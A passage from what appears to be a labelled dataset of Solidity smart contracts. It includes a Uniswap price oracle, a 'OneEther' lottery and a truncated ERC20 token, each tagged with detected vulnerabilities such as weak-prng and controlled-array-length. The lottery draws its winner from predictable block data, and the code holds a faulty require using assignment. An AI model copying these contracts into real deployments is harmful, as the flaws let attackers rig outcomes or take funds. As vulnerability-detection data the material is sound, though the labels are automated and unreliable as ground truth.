function quote(
uint256 amountA,
uint256 reserveA,
uint256 reserveB
) internal pure returns (uint256 amountB) {
require(amountA > 0, 'UniswapV2Library: INSUFFICIENT_AMOUNT');
require(
reserveA > 0 && reserveB > 0,
'UniswapV2Library: INSUFFICIENT_LIQUIDITY'
);
amountB = amountA.mul(reserveB) / reserveA;
}
// given an input amount of an asset and pair reserves, returns the maximum output amount of the other asset
function getAmountOut(
uint256 amountIn,
uint256 reserveIn,
uint256 reserveOut
) internal pure returns (uint256 amountOut) {
require(amountIn > 0, 'UniswapV2Library: INSUFFICIENT_INPUT_AMOUNT');
require(
reserveIn > 0 && reserveOut > 0,
'UniswapV2Library: INSUFFICIENT_LIQUIDITY'
);
uint256 amountInWithFee = amountIn.mul(997);
uint256 numerator = amountInWithFee.mul(reserveOut);
uint256 denominator = reserveIn.mul(1000).add(amountInWithFee);
amountOut = numerator / denominator;
}
// given an output amount of an asset and pair reserves, returns a required input amount of the other asset
function getAmountIn(
uint256 amountOut,
uint256 reserveIn,
uint256 reserveOut
) internal pure returns (uint256 amountIn) {
require(amountOut > 0, 'UniswapV2Library: INSUFFICIENT_OUTPUT_AMOUNT');
require(
reserveIn > 0 && reserveOut > 0,
'UniswapV2Library: INSUFFICIENT_LIQUIDITY'
);
uint256 numerator = reserveIn.mul(amountOut).mul(1000);
uint256 denominator = reserveOut.sub(amountOut).mul(997);
amountIn = (numerator / denominator).add(1);
}
// performs chained getAmountOut calculations on any number of pairs
function getAmountsOut(
address factory,
uint256 amountIn,
address[] memory path
) internal view returns (uint256[] memory amounts) {
require(path.length >= 2, 'UniswapV2Library: INVALID_PATH');
amounts = new uint256[](path.length);
amounts[0] = amountIn;
for (uint256 i; i < path.length - 1; i++) {
(uint256 reserveIn, uint256 reserveOut) = getReserves(
factory,
path[i],
path[i + 1]
);
amounts[i + 1] = getAmountOut(amounts[i], reserveIn, reserveOut);
}
}
// performs chained getAmountIn calculations on any number of pairs
function getAmountsIn(
address factory,
uint256 amountOut,
address[] memory path
) internal view returns (uint256[] memory amounts) {
require(path.length >= 2, 'UniswapV2Library: INVALID_PATH');
amounts = new uint256[](path.length);
amounts[amounts.length - 1] = amountOut;
for (uint256 i = path.length - 1; i > 0; i--) {
(uint256 reserveIn, uint256 reserveOut) = getReserves(
factory,
path[i - 1],
path[i]
);
amounts[i - 1] = getAmountIn(amounts[i], reserveIn, reserveOut);
}
}
}
// File: contracts/lib/UniswapV2OracleLibrary.sol
pragma solidity ^0.6.0;
// library with helper methods for oracles that are concerned with computing average prices
library UniswapV2OracleLibrary {
using FixedPoint for *;
// helper function that returns the current block timestamp within the range of uint32, i.e. [0, 2**32 - 1]
function currentBlockTimestamp() internal view returns (uint32) {
return uint32(block.timestamp % 2**32);
}
// produces the cumulative price using counterfactuals to save gas and avoid a call to sync.
function currentCumulativePrices(address pair)
internal
view
returns (
uint256 price0Cumulative,
uint256 price1Cumulative,
uint32 blockTimestamp
)
{
blockTimestamp = currentBlockTimestamp();
price0Cumulative = IUniswapV2Pair(pair).price0CumulativeLast();
price1Cumulative = IUniswapV2Pair(pair).price1CumulativeLast();
// if time has elapsed since the last update on the pair, mock the accumulated price values
(
uint112 reserve0,
uint112 reserve1,
uint32 blockTimestampLast
) = IUniswapV2Pair(pair).getReserves();
if (blockTimestampLast != blockTimestamp) {
// subtraction overflow is desired
uint32 timeElapsed = blockTimestamp - blockTimestampLast;
// addition overflow is desired
// counterfactual
price0Cumulative +=
uint256(FixedPoint.fraction(reserve1, reserve0)._x) *
timeElapsed;
// counterfactual
price1Cumulative +=
uint256(FixedPoint.fraction(reserve0, reserve1)._x) *
timeElapsed;
}
}
}
// File: @openzeppelin/contracts/GSN/Context.sol
pragma solidity ^0.6.0;
/*
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with GSN meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract Context {
function _msgSender() internal virtual view returns (address payable) {
return msg.sender;
}
function _msgData() internal virtual view returns (bytes memory) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
// File: @openzeppelin/contracts/access/Ownable.sol
pragma solidity ^0.6.0;
/**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* By default, the owner account will be the one that deploys the contract. This
* can later be changed with {transferOwnership}.
*
* This module is used through inheritance. It will make available the modifier
* `onlyOwner`, which can be applied to your functions to restrict their use to
* the owner.
*/
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor() internal {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(_owner == _msgSender(), 'Ownable: caller is not the owner');
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
require(
newOwner != address(0),
'Ownable: new owner is the zero address'
);
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
// File: contracts/owner/Operator.sol
pragma solidity ^0.6.0;
contract Operator is Context, Ownable {
address private _operator;
event OperatorTransferred(
address indexed previousOperator,
address indexed newOperator
);
constructor() internal {
_operator = _msgSender();
emit OperatorTransferred(address(0), _operator);
}
function operator() public view returns (address) {
return _operator;
}
modifier onlyOperator() {
require(
_operator == msg.sender,
'operator: caller is not the operator'
);
_;
}
function isOperator() public view returns (bool) {
return _msgSender() == _operator;
}
function transferOperator(address newOperator_) public onlyOwner {
_transferOperator(newOperator_);
}
function _transferOperator(address newOperator_) internal {
require(
newOperator_ != address(0),
'operator: zero address given for new operator'
);
emit OperatorTransferred(address(0), newOperator_);
_operator = newOperator_;
}
}
// File: contracts/utils/Epoch.sol
pragma solidity ^0.6.0;
contract Epoch is Operator {
using SafeMath for uint256;
uint256 private period;
uint256 private startTime;
uint256 private epoch;
/* ========== CONSTRUCTOR ========== */
constructor(
uint256 _period,
uint256 _startTime,
uint256 _startEpoch
) public {
period = _period;
startTime = _startTime;
epoch = _startEpoch;
}
/* ========== Modifier ========== */
modifier checkStartTime {
require(now >= startTime, 'Epoch: not started yet');
_;
}
modifier checkEpoch {
require(now >= nextEpochPoint(), 'Epoch: not allowed');
_;
epoch = epoch.add(1);
}
/* ========== VIEW FUNCTIONS ========== */
function getCurrentEpoch() public view returns (uint256) {
return epoch;
}
function getPeriod() public view returns (uint256) {
return period;
}
function getStartTime() public view returns (uint256) {
return startTime;
}
function nextEpochPoint() public view returns (uint256) {
return startTime.add(epoch.mul(period));
}
/* ========== GOVERNANCE ========== */
function setPeriod(uint256 _period) external onlyOperator {
period = _period;
}
}
// File: contracts/interfaces/IUniswapV2Factory.sol
pragma solidity ^0.6.0;
interface IUniswapV2Factory {
event PairCreated(
address indexed token0,
address indexed token1,
address pair,
uint256
);
function getPair(address tokenA, address tokenB)
external
view
returns (address pair);
function allPairs(uint256) external view returns (address pair);
function allPairsLength() external view returns (uint256);
function feeTo() external view returns (address);
function feeToSetter() external view returns (address);
function createPair(address tokenA, address tokenB)
external
returns (address pair);
}
// File: contracts/Oracle.sol
pragma solidity ^0.6.0;
// fixed window oracle that recomputes the average price for the entire period once every period
// note that the price average is only guaranteed to be over at least 1 period, but may be over a longer period
contract Oracle is Epoch {
using FixedPoint for *;
using SafeMath for uint256;
/* ========== STATE VARIABLES ========== */
// uniswap
address public token0;
address public token1;
IUniswapV2Pair public pair;
// oracle
uint32 public blockTimestampLast;
uint256 public price0CumulativeLast;
uint256 public price1CumulativeLast;
FixedPoint.uq112x112 public price0Average;
FixedPoint.uq112x112 public price1Average;
/* ========== CONSTRUCTOR ========== */
constructor(
address _factory,
address _tokenA,
address _tokenB,
uint256 _period,
uint256 _startTime
) public Epoch(_period, _startTime, 0) {
IUniswapV2Pair _pair = IUniswapV2Pair(
UniswapV2Library.pairFor(_factory, _tokenA, _tokenB)
);
pair = _pair;
token0 = _pair.token0();
token1 = _pair.token1();
price0CumulativeLast = _pair.price0CumulativeLast(); // fetch the current accumulated price value (1 / 0)
price1CumulativeLast = _pair.price1CumulativeLast(); // fetch the current accumulated price value (0 / 1)
uint112 reserve0;
uint112 reserve1;
(reserve0, reserve1, blockTimestampLast) = _pair.getReserves();
require(reserve0 != 0 && reserve1 != 0, 'Oracle: NO_RESERVES'); // ensure that there's liquidity in the pair
}
/* ========== MUTABLE FUNCTIONS ========== */
/** @dev Updates 1-day EMA price from Uniswap. */
function update() external checkEpoch {
(
uint256 price0Cumulative,
uint256 price1Cumulative,
uint32 blockTimestamp
) = UniswapV2OracleLibrary.currentCumulativePrices(address(pair));
uint32 timeElapsed = blockTimestamp - blockTimestampLast; // overflow is desired
if (timeElapsed == 0) {
// prevent divided by zero
return;
}
// overflow is desired, casting never truncates
// cumulative price is in (uq112x112 price * seconds) units so we simply wrap it after division by time elapsed
price0Average = FixedPoint.uq112x112(
uint224((price0Cumulative - price0CumulativeLast) / timeElapsed)
);
price1Average = FixedPoint.uq112x112(
uint224((price1Cumulative - price1CumulativeLast) / timeElapsed)
);
price0CumulativeLast = price0Cumulative;
price1CumulativeLast = price1Cumulative;
blockTimestampLast = blockTimestamp;
emit Updated(price0Cumulative, price1Cumulative);
}
// note this will always return 0 before update has been called successfully for the first time.
function consult(address token, uint256 amountIn)
external
view
returns (uint144 amountOut)
{
if (token == token0) {
amountOut = price0Average.mul(amountIn).decode144();
} else {
require(token == token1, 'Oracle: INVALID_TOKEN');
amountOut = price1Average.mul(amountIn).decode144();
}
}
function pairFor(
address factory,
address tokenA,
address tokenB
) external pure returns (address lpt) {
return UniswapV2Library.pairFor(factory, tokenA, tokenB);
}
event Updated(uint256 price0CumulativeLast, uint256 price1CumulativeLast);
} | These are the vulnerabilities found
1) weak-prng with High impact
2) uninitialized-local with Medium impact |
pragma solidity ^0.4.24;
contract OneEther {
event onOpenNewBet(
uint256 indexed bID,
address owner,
uint256 check,
uint256 unit,
uint256 recordTime
);
event onEditBet(
uint256 indexed bID,
address owner,
uint256 check,
uint256 unit,
uint256 recordTime
);
event onOpenNewRound(
uint256 indexed bID,
uint256 indexed rID,
uint256 total,
uint256 current,
uint256 ethAmount,
uint256 recordTime
);
event RoundMask(
uint256 rID,
bytes32 hashmask
);
event onReveal(
uint256 indexed rID,
address winner,
uint256 reward,
uint256 teamFee,
uint256 scretNumber,
uint256 randomNumber,
uint256 recordTime
);
event onBuyBet(
uint256 indexed bID,
uint256 indexed rID,
address playerAddress,
uint256 amount,
uint256 key,
uint256 playerCode,
uint256 invator,
uint256 recordTime
);
event onRoundUpdate(
uint256 indexed bID,
uint256 indexed rID,
uint256 totalKey,
uint256 currentKey,
uint256 lastUpdate
);
event onRoundEnd(
uint256 indexed bID,
uint256 indexed rID,
uint256 lastUpdate
);
event onWithdraw
(
uint256 indexed playerID,
address indexed playerAddress,
uint256 ethOut,
uint256 recordTime
);
event onBuyFailed
(
uint256 indexed playerID,
uint256 indexed rID,
uint256 ethIn,
uint256 recordTime
);
using SafeMath for *;
address private owner = msg.sender;
address private admin = msg.sender;
bytes32 constant public NAME = "OneEther";
bytes32 constant public SYMBOL = "OneEther";
uint256 constant MIN_BUY = 0.001 ether;
uint256 constant MAX_BUY = 30000 ether;
uint256 public linkPrice_ = 0.01 ether;
bool public activated_ = false;
uint256 private teamFee_ = 0; //team Fee Pot
uint256 public bID = 10;
uint256 public pID = 100;
uint256 public rID = 1000;
mapping(address => uint256) public pIDAddr_;//(addr => pID) returns player id by address
mapping(uint256 => OneEtherDatasets.BetInfo) public bIDBet_;
mapping(uint256 => OneEtherDatasets.Stake[]) public betList_;
mapping(uint256 => OneEtherDatasets.BetState) public rIDBet_;
mapping(uint256 => OneEtherDatasets.Player) public pIDPlayer_;
mapping(uint256 => uint256) public bIDrID_;
mapping(uint256 => address) public pIDAgent_;
uint256[] public bIDList_;
//===============================================================
// construct
//==============================================================
constructor() public {}
//===============================================================
// The following are safety checks
//==============================================================
//isActivated
modifier isAdmin() {require(msg.sender == admin, "its can only be call by admin");_;}
modifier isbetActivated(uint256 _bID) {
require(bIDBet_[_bID].bID != 0 && bIDBet_[_bID].isActivated == true, "cant find this bet");
_;
}
modifier isActivated() {require(activated_ == true, "its not ready yet. ");_;}
//isAdmin
modifier isWithinLimits(uint256 _eth) {
require(_eth >= MIN_BUY, "too small");
require(_eth <= MAX_BUY, "too big");
_;
}
//activate game
function activate() public isAdmin() {require(activated_ == false, "the game is running");activated_ = true;}
//close game dangerous!
function close() public isAdmin() isActivated() {activated_ = false;}
//===============================================================
// Functions call by admin
//==============================================================
//set new admin
function setNewAdmin(address _addr)
public
{
require(msg.sender == owner);
admin = _addr;
}
function openNewBet(address _owner, uint256 _check, uint256 _unit)
public
isAdmin()
isActivated()
{
require((_check >= MIN_BUY) && (_check <= MAX_BUY), "out of range");
require((_unit * 2) <= _check, "unit of payment dennied");
bID++;
bIDBet_[bID].bID = bID;
uint256 _now = now;
if (_owner == address(0)) {
bIDBet_[bID].owner = admin;
} else {
bIDBet_[bID].owner = _owner;
}
bIDBet_[bID].check = _check;
bIDBet_[bID].unit = _unit;
bIDBet_[bID].isActivated = true;
bIDList_.push(bID);
//emit
emit onOpenNewBet(bID, bIDBet_[bID].owner, _check, _unit, _now);
}
function openFirstRound(uint256 _bID, bytes32 _maskHash)
public
isbetActivated(_bID)
{
address addr = msg.sender;
require(bIDBet_[bID].bID != 0, "cant find this bet");
require(bIDBet_[bID].owner == addr || bIDBet_[bID].owner == admin, "Permission denied");
require(bIDrID_[_bID] == 0, "One Bet can only open one round");
newRound(_bID, _maskHash);
}
function closeBet(uint256 _bID)
public
{
address addr = msg.sender;
require(bIDBet_[bID].bID != 0, "cant find this bet");
require(bIDBet_[bID].owner == addr || bIDBet_[bID].owner == admin, "Permission denied");
// this means it cant be generated next round. current round would continue to end.
bIDBet_[_bID].isActivated = false;
//emit
}
function openBet(uint256 _bID)
public
{
address addr = msg.sender;
require(bIDBet_[bID].bID != 0, "cant find this bet");
require(bIDBet_[bID].owner == addr || bIDBet_[bID].owner == admin, "Permission denied");
require(bIDBet_[_bID].isActivated = false, "This bet is opening");
bIDBet_[_bID].isActivated = true;
}
function editBet(uint256 _bID, uint256 _check, uint256 _unit)
public
{
require((_check >= MIN_BUY) && (_check <= MAX_BUY), "out of range");
address addr = msg.sender;
require(bIDBet_[_bID].bID != 0, "cant find this bet");
require(bIDBet_[bID].owner == addr || bIDBet_[bID].owner == admin, "Permission denied");
bIDBet_[_bID].check = _check;
bIDBet_[_bID].unit = _unit;
emit onEditBet(bID, bIDBet_[bID].owner, _check, _unit, now);
}
function withdrawFee()
public
isAdmin()
{
uint256 temp = teamFee_;
teamFee_ = 0;
msg.sender.transfer(temp);
}
function registAgent(address _addr)
public
isAdmin()
{
uint256 _pID = pIDAddr_[_addr];
if (_pID == 0) {
// regist a new player
pID++;
pIDAddr_[_addr] = pID;
// set new player struct
pIDPlayer_[pID].addr = _addr;
pIDPlayer_[pID].balance = 0;
pIDPlayer_[pID].agent = 0;
pIDAgent_[pID] = _addr;
} else {
pIDAgent_[_pID] = _addr;
}
}
function resetAgent(address _addr)
public
isAdmin() {
uint256 _pID = pIDAddr_[_addr];
if (_pID != 0) {
pIDAgent_[_pID] = address(0);
}
}
//===============================================================
// functions call by gameplayer
//==============================================================
function buySome(uint256 _rID, uint256 _key, uint256 _playerCode, uint256 _linkPID, uint256 _agent)
public
payable
{
require(rIDBet_[_rID].rID != 0, "cant find this round");
uint256 _bID = rIDBet_[_rID].bID;
require(bIDBet_[_bID].bID != 0, "cant find this bet");
require(_key <= rIDBet_[_rID].total, "key must not beyond limit");
require(msg.value >= bIDBet_[_bID].unit, "too small for this bet");
require(bIDBet_[_bID].unit * _key == msg.value, "not enough payment");
require(_playerCode < 100000000000000, "your random number is too big");
uint256 _pID = managePID(_linkPID, _agent);
if (rIDBet_[_rID].current + _key <= rIDBet_[_rID].total) {
uint256 _value = manageLink(_pID, msg.value);
manageKey(_pID, _rID, _key);
rIDBet_[_rID].current = rIDBet_[_rID].current.add(_key);
rIDBet_[_rID].ethAmount = rIDBet_[_rID].ethAmount.add(_value);
rIDBet_[_rID].playerCode = rIDBet_[_rID].playerCode.add(_playerCode);
emit onBuyBet(_bID, _rID, pIDPlayer_[_pID].addr, _value, _key, _playerCode, pIDPlayer_[_pID].invator, now);
if (rIDBet_[_rID].current >= rIDBet_[_rID].total) {
emit onRoundEnd(_bID, _rID, now);
}
} else {
// failed to pay a bet,the value will be stored in player's balance
pIDPlayer_[_pID].balance = pIDPlayer_[_pID].balance.add(msg.value);
emit onBuyFailed(_pID, _rID, msg.value, now);
}
}
function buyWithBalance(uint256 _rID, uint256 _key, uint256 _playerCode)
public
payable
{
uint256 _pID = pIDAddr_[msg.sender];
require(_pID != 0, "player not founded in contract ");
require(rIDBet_[_rID].rID != 0, "cant find this round");
uint256 _bID = rIDBet_[_rID].bID;
require(bIDBet_[_bID].bID != 0, "cant find this bet");
uint256 _balance = pIDPlayer_[_pID].balance;
require(_key <= rIDBet_[_rID].total, "key must not beyond limit");
require(_balance >= bIDBet_[_bID].unit, "too small for this bet");
require(bIDBet_[_bID].unit * _key <= _balance, "not enough balance");
require(_playerCode < 100000000000000, "your random number is too big");
require(rIDBet_[_rID].current + _key <= rIDBet_[_rID].total, "you beyond key");
pIDPlayer_[_pID].balance = pIDPlayer_[_pID].balance.sub(bIDBet_[_bID].unit * _key);
uint256 _value = manageLink(_pID, bIDBet_[_bID].unit * _key);
manageKey(_pID, _rID, _key);
rIDBet_[_rID].current = rIDBet_[_rID].current.add(_key);
rIDBet_[_rID].ethAmount = rIDBet_[_rID].ethAmount.add(_value);
rIDBet_[_rID].playerCode = rIDBet_[_rID].playerCode.add(_playerCode);
emit onBuyBet(_bID, _rID, pIDPlayer_[_pID].addr, _value, _key, _playerCode, pIDPlayer_[_pID].invator, now);
if (rIDBet_[_rID].current == rIDBet_[_rID].total) {
emit onRoundEnd(_bID, _rID, now);
}
}
function reveal(uint256 _rID, uint256 _scretKey, bytes32 _maskHash)
public
{
require(rIDBet_[_rID].rID != 0, "cant find this round");
uint256 _bID = rIDBet_[_rID].bID;
require(bIDBet_[_bID].bID != 0, "cant find this bet");
require((bIDBet_[_bID].owner == msg.sender) || admin == msg.sender, "can only be revealed by admin or owner");
bytes32 check = keccak256(abi.encodePacked(_scretKey));
require(check == rIDBet_[_rID].maskHash, "scretKey is not match maskHash");
uint256 modulo = rIDBet_[_rID].total;
//get random , use secretnumber,playerCode,blockinfo
bytes32 random = keccak256(abi.encodePacked(check, rIDBet_[_rID].playerCode, (block.number + now)));
uint result = (uint(random) % modulo) + 1;
uint256 _winPID = 0;
for (uint i = 0; i < betList_[_rID].length; i++) {
if (result >= betList_[_rID][i].start && result <= betList_[_rID][i].end) {
_winPID = betList_[_rID][i].pID;
break;
}
}
// pay the reward
uint256 reward = rIDBet_[_rID].ethAmount;
uint256 teamFee = (bIDBet_[_bID].check.mul(3))/100;
pIDPlayer_[_winPID].balance = pIDPlayer_[_winPID].balance.add(reward);
//emit
emit onReveal(_rID, pIDPlayer_[_winPID].addr, reward, teamFee, _scretKey, result, now);
// delete thie round;
delete rIDBet_[_rID];
delete betList_[_rID];
bIDrID_[_bID] = 0;
// start to reset round
newRound(_bID, _maskHash);
}
function getPlayerByAddr(address _addr)
public
view
returns(uint256, uint256)
{
uint256 _pID = pIDAddr_[_addr];
return (_pID, pIDPlayer_[_pID].balance);
}
function getRoundInfoByID(uint256 _rID)
public
view
returns(uint256, uint256, uint256, uint256, uint256, bytes32, uint256)
{
return
(
rIDBet_[_rID].rID, //0
rIDBet_[_rID].bID, //1
rIDBet_[_rID].total, //2
rIDBet_[_rID].current, //3
rIDBet_[_rID].ethAmount, //4
rIDBet_[_rID].maskHash, //5
rIDBet_[_rID].playerCode //6
);
}
function getBetInfoByID(uint256 _bID)
public
view
returns(uint256, uint256, address, uint256, uint256, bool)
{
return
(
bIDrID_[_bID], //get current rID
bIDBet_[_bID].bID,
bIDBet_[_bID].owner,
bIDBet_[_bID].check,
bIDBet_[_bID].unit,
bIDBet_[_bID].isActivated
);
}
function getBIDList()
public
view
returns(uint256[])
{return(bIDList_);}
function getAgent(address _addr)
public
view
returns(uint256)
{
uint256 _pID = pIDAddr_[_addr];
return pIDAgent_[_pID] == address(0) ? 0 : _pID;
}
function withdraw()
public
isActivated()
{
uint256 _now = now;
uint256 _pID = pIDAddr_[msg.sender];
uint256 _eth;
if (_pID != 0) {
_eth = withdrawEarnings(_pID);
require(_eth > 0, "no any balance left");
pIDPlayer_[_pID].addr.transfer(_eth);
emit onWithdraw(_pID, msg.sender, _eth, _now);
}
}
//===============================================================
// internal call
//==============================================================
function manageKey(uint256 _pID, uint256 _rID, uint256 _key)
private
{
uint256 _current = rIDBet_[_rID].current;
OneEtherDatasets.Stake memory _playerstake = OneEtherDatasets.Stake(0, 0, 0);
_playerstake.start = _current + 1;
_playerstake.end = _current + _key;
_playerstake.pID = _pID;
betList_[_rID].push(_playerstake);
}
function manageLink(uint256 _pID, uint256 _value)
private
returns(uint256)
{
uint256 cut = (_value.mul(3))/100;//3% for teamFee
uint256 _value2 = _value.sub(cut);
uint256 _invator = pIDPlayer_[_pID].invator;
if (_invator != 0) {
uint256 cut2 = (cut.mul(60))/100; //2% for the invator
cut = cut.sub(cut2);
pIDPlayer_[_invator].balance = pIDPlayer_[_invator].balance.add(cut2);
}
//agent Fee
uint256 _agent = pIDPlayer_[_pID].agent;
if (_agent != 0 && pIDAgent_[_agent] != address(0)) {
uint256 cut3 = (cut.mul(50))/100; //50% for the agent
cut = cut.sub(cut3);
pIDPlayer_[_agent].balance = pIDPlayer_[_agent].balance.add(cut3);
}
teamFee_ = teamFee_.add(cut);
return _value2;
}
function managePID(uint256 _linkPID, uint256 _agent)
private
returns (uint256)
{
uint256 _pID = pIDAddr_[msg.sender];
if (_pID == 0) {
// regist a new player
pID++;
pIDAddr_[msg.sender] = pID;
// set new player struct
pIDPlayer_[pID].addr = msg.sender;
pIDPlayer_[pID].balance = 0;
pIDPlayer_[pID].agent = 0;
if (pIDPlayer_[_linkPID].addr != address(0)) {
pIDPlayer_[pID].invator = _linkPID;
pIDPlayer_[pID].agent = pIDPlayer_[_linkPID].agent;
} else {
if (pIDAgent_[_agent] != address(0)) {
pIDPlayer_[pID].agent = _agent;
}
}
return (pID);
} else {
return (_pID);
}
}
function newRound(uint256 _bID, bytes32 _maskHash)
private
{
uint256 _total = bIDBet_[_bID].check / bIDBet_[_bID].unit;
if (bIDBet_[_bID].isActivated == true) {
rID++;
rIDBet_[rID].rID = rID;
rIDBet_[rID].bID = _bID;
rIDBet_[rID].total = _total;
rIDBet_[rID].current = 0;
rIDBet_[rID].ethAmount = 0;
rIDBet_[rID].maskHash = _maskHash;
rIDBet_[rID].playerCode = 0;
bIDrID_[_bID] = rID;
emit onOpenNewRound(_bID, rID, rIDBet_[rID].total, rIDBet_[rID].current, rIDBet_[rID].ethAmount, now);
emit RoundMask(rID, _maskHash);
} else {
bIDrID_[_bID] = 0;
}
}
function withdrawEarnings(uint256 _pID)
private
returns(uint256)
{
uint256 _earnings = pIDPlayer_[_pID].balance;
if (_earnings > 0) {
pIDPlayer_[_pID].balance = 0;
}
return(_earnings);
}
}
library OneEtherDatasets {
struct BetInfo {
uint256 bID;
address owner;
uint256 check;
uint256 unit;
bool isActivated;
}
struct BetState {
uint256 rID;
uint256 bID;
uint256 total;
uint256 current;
uint256 ethAmount;
bytes32 maskHash;
uint256 playerCode;
}
struct Player {
address addr;
uint256 balance;
uint256 invator;
uint256 agent;
}
struct Stake {
uint256 start;
uint256 end;
uint256 pID;
}
}
library SafeMath {
/**
* @dev Multiplies two numbers, throws on overflow.
*/
function mul(uint256 a, uint256 b)
internal
pure
returns (uint256 c)
{
if (a == 0) {
return 0;
}
c = a * b;
require(c / a == b, "SafeMath mul failed");
return c;
}
/**
* @dev Subtracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend).
*/
function sub(uint256 a, uint256 b)
internal
pure
returns (uint256)
{
require(b <= a, "SafeMath sub failed");
return a - b;
}
/**
* @dev Adds two numbers, throws on overflow.
*/
function add(uint256 a, uint256 b)
internal
pure
returns (uint256 c)
{
c = a + b;
require(c >= a, "SafeMath add failed");
return c;
}
/**
* @dev gives square root of given x.
*/
function sqrt(uint256 x)
internal
pure
returns (uint256 y)
{
uint256 z = ((add(x, 1)) / 2);
y = x;
while (z < y) {
y = z;
z = ((add((x / z), z)) / 2);
}
}
/**
* @dev gives square. multiplies x by x
*/
function sq(uint256 x)
internal
pure
returns (uint256)
{
return (mul(x, x));
}
/**
* @dev x to the power of y
*/
function pwr(uint256 x, uint256 y)
internal
pure
returns (uint256)
{
if (x == 0)
return (0);
else if (y == 0)
return (1);
else {
uint256 z = x;
for (uint256 i = 1; i < y; i++)
z = mul(z, x);
return (z);
}
}
} | These are the vulnerabilities found
1) weak-prng with High impact
2) divide-before-multiply with Medium impact
3) controlled-array-length with High impact |
pragma solidity ^0.4.24;
// ----------------------------------------------------------------------------
// 'BFM' token contract
//
// Contract address : 0x42df0bf2af6d36cd4383c9793cb5242ed92007bd
// Symbol : BFM
// Name : Block Files Management
// Total supply: 21000000000
// Decimals : 8
//
//
// Enjoy.
//
// Solidity version : Current version:0.4.24+commit.e67f0147.Emscripten.clang
// ----------------------------------------------------------------------------
// ----------------------------------------------------------------------------
// Safe maths
// ----------------------------------------------------------------------------
contract SafeMath {
function safeAdd(uint a, uint b) public pure returns (uint c) {
c = a + b;
require(c >= a);
}
function safeSub(uint a, uint b) public pure returns (uint c) {
require(b <= a);
c = a - b;
}
function safeMul(uint a, uint b) public pure returns (uint c) {
c = a * b;
require(a == 0 || c / a == b);
}
function safeDiv(uint a, uint b) public pure returns (uint c) {
require(b > 0);
c = a / b;
}
}
// ----------------------------------------------------------------------------
// ERC Token Standard #20 Interface
// https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20-token-standard.md
// ----------------------------------------------------------------------------
contract ERC20Interface {
function totalSupply() public constant returns (uint);
function balanceOf(address tokenOwner) public constant returns (uint balance);
function allowance(address tokenOwner, address spender) public constant returns (uint remaining);
function transfer(address to, uint tokens) public returns (bool success);
function approve(address spender, uint tokens) public returns (bool success);
function transferFrom(address from, address to, uint tokens) public returns (bool success);
event Transfer(address indexed from, address indexed to, uint tokens);
event Approval(address indexed tokenOwner, address indexed spender, uint tokens);
}
// ----------------------------------------------------------------------------
// Contract function to receive approval and execute function in one call
//
// Borrowed from MiniMeToken
// ----------------------------------------------------------------------------
contract ApproveAndCallFallBack {
function receiveApproval(address from, uint256 tokens, address token, bytes data) public;
}
// ----------------------------------------------------------------------------
// Owned contract
// ----------------------------------------------------------------------------
contract Owned {
address public owner;
address public newOwner;
event OwnershipTransferred(address indexed _from, address indexed _to);
function Owned() public {
owner = msg.sender;
}
modifier onlyOwner {
require(msg.sender == owner);
_;
}
function transferOwnership(address _newOwner) public onlyOwner {
newOwner = _newOwner;
}
function acceptOwnership() public {
require(msg.sender == newOwner);
OwnershipTransferred(owner, newOwner);
owner = newOwner;
newOwner = address(0);
}
}
// ----------------------------------------------------------------------------
// ERC20 Token, with the addition of symbol, name and decimals and assisted
// token transfers
// ----------------------------------------------------------------------------
contract BlockFilesManagement is ERC20Interface, Owned, SafeMath {
string public symbol;
string public name;
uint8 public decimals;
uint public _totalSupply;
mapping(address => uint) balances;
mapping(address => mapping(address => uint)) allowed;
// ------------------------------------------------------------------------
// Constructor
// ------------------------------------------------------------------------
function BlockFilesManagement() public {
symbol = "BFM";
name = "Block Files Management";
decimals = 8;
_totalSupply = 2100000000000000000;
balances[0xb77A3f5c4fA9411Baf1bb01D70556ED749d525d5] = _totalSupply;
Transfer(address(0), 0xb77A3f5c4fA9411Baf1bb01D70556ED749d525d5, _totalSupply);
}
// ------------------------------------------------------------------------
// Total supply
// ------------------------------------------------------------------------
function totalSupply() public constant returns (uint) {
return _totalSupply - balances[address(0)];
}
// ------------------------------------------------------------------------
// Get the token balance for account tokenOwner
// ------------------------------------------------------------------------
function balanceOf(address tokenOwner) public constant returns (uint balance) {
return balances[tokenOwner];
}
// ------------------------------------------------------------------------
// Transfer the balance from token owner's account to to account
// - Owner's account must have sufficient balance to transfer
// - 0 value transfers are allowed
// ------------------------------------------------------------------------
function transfer(address to, uint tokens) public returns (bool success) {
balances[msg.sender] = safeSub(balances[msg.sender], tokens);
balances[to] = safeAdd(balances[to], tokens);
Transfer(msg.sender, to, tokens);
return true;
}
// ------------------------------------------------------------------------
// Token owner can approve for spender to transferFrom(...) tokens
// from the token owner's account
//
// https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20-token-standard.md
// recommends that there are no checks for the approval double-spend attack
// as this should be implemented in user interfaces
// ------------------------------------------------------------------------
function approve(address spender, uint tokens) public returns (bool success) {
allowed[msg.sender][spender] = tokens;
Approval(msg.sender, spender, tokens);
return true;
}
// ------------------------------------------------------------------------
